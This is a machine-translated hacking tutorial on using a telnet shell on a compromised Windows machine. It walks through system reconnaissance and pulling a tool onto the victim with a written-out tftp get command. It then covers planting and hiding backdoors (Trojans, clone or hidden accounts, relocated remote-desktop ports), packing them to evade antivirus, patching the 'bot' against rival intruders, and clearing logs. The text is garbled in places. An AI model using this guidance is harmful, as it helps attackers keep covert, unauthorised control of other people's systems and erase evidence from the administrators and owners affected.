Analysis of telnet Service Application

I have talked a lot about the basic content of the telnet service and the installation of some device systems. However, for beginners, I cannot help wondering: What can I do with telnet? Now let's analyze what telnet applications are available.

What should I do in the telnet service?

I thought it was over, but many of my friends said they didn't know what to do after telnet. In this case, let me introduce it to others. This time I will not discuss specific practices, just talking about ideas, what? Why not talk about specific practices? I will explain it one by one later.

1. View System Information

You can see the system configuration and version using type c: \ boot. ini to know the pro version or server version), you can see what services or software are installed from the directory name), look at what is important or interesting file alas, if it is a foreign machine, it cannot be understood), look at his user situation, in short, it is to learn as much as possible about the system, for a while to install a backdoor to find the bottom.

2. Use tftp to transfer files

I think everyone has encountered the problem of transferring files in telnet, because we are used to file transmission in the ipc pipeline, so some friends like to use net share ipc $ to open the pipeline, and then use copy to transfer files. however, this is troublesome. Now that we have obtained the shell, we can use the TFPT command to do all this. What is TFTP?

Trivial File Transfer protocol.pdf the Transfer of real-time files is a File Transfer Based on the udpconnection. Generally, a complete transmission structure is constructed using tftp.exe and a TFTP server software. it is used in this way: first, run the local TFTP server, such as tftpd32.exe) software and ensure that it is always enabled until the transmission is complete, and then in the telnet service, of course, you can also in other shells) run the following command:

C: \> tftp-I ip get xinxin.exe c: \ abc \ xinxin.exe

In this example, you can upload xinxin.exe to the abc directory of drive C from the tftp server ).

It should be noted that if you use a proxy IP address, you will not be able to transfer files with external networks. because your proxy gateway will add its IP address to your datagram during data encapsulation, instead of your internal network address, therefore, the TFTP server cannot be found when MAC addressing is performed on the external network.

3. Backdoor placement

It seems a little early to place the backdoor in the second step. If you have other purposes such as damage-based or modify the homepage, you can certainly do these things before the backdoor is placed; if you just want to get a zombie, there's nothing to say.

There are many types of backdoors, which also provide us with a lot of options. Choosing the right backdoors based on the actual situation is indeed a learning. common backdoors include Trojans, asp Trojans, remote control software, clone accounts, create and hide accounts, telnet, telnet extended shell, and terminal services. pay attention to the following points when installing a good BACKDOOR:

1. Do not be scanned and blocked by the firewall: it is best to shell the backdoor that is added to the virus database to escape the firewall. Try to use a low port for communication to avoid being blocked by the firewall.

2. Maximize Concealment: If you choose remote control software, pay attention to the installation prompts and small icons on the controlled end, and whether to synchronize the screen. If you write an article on your account, try to ensure that there are no flaws in cmd and user management; if you choose to put a trojan or telnet service extension, pay attention to the hiding of files and processes; if the terminal service is not enabled before intrusion, you must drop the conspicuous port 3389, and the lower the port, the better.

3. Do not assume that the Administrator does not exist: this is a big taboo. Many friends create an administrator account similar to 'hacking' on a machine with only default accounts. This is really fearless. so when you place backdoors, think about where the Administrator is negligent.

4. Patch

If you want to conquer bots, You need to patch them. You need to know that the competition for BOTs is fierce. How can we patch them? What should I ask? Think about how you got in. forget it. Note that apart from fixing major vulnerabilities, upload the official patch and run it), and also pay attention to its sharing. It is best to disable ipc $ sharing), suspicious port, services that are easy to use. however, you should also pay attention to concealment when patching. Do not let the Administrator discover major changes.

5. Clear logs

You can manually or use the software. If you don't know how to use it, go to the relevant teaching materials. I will not detail it here.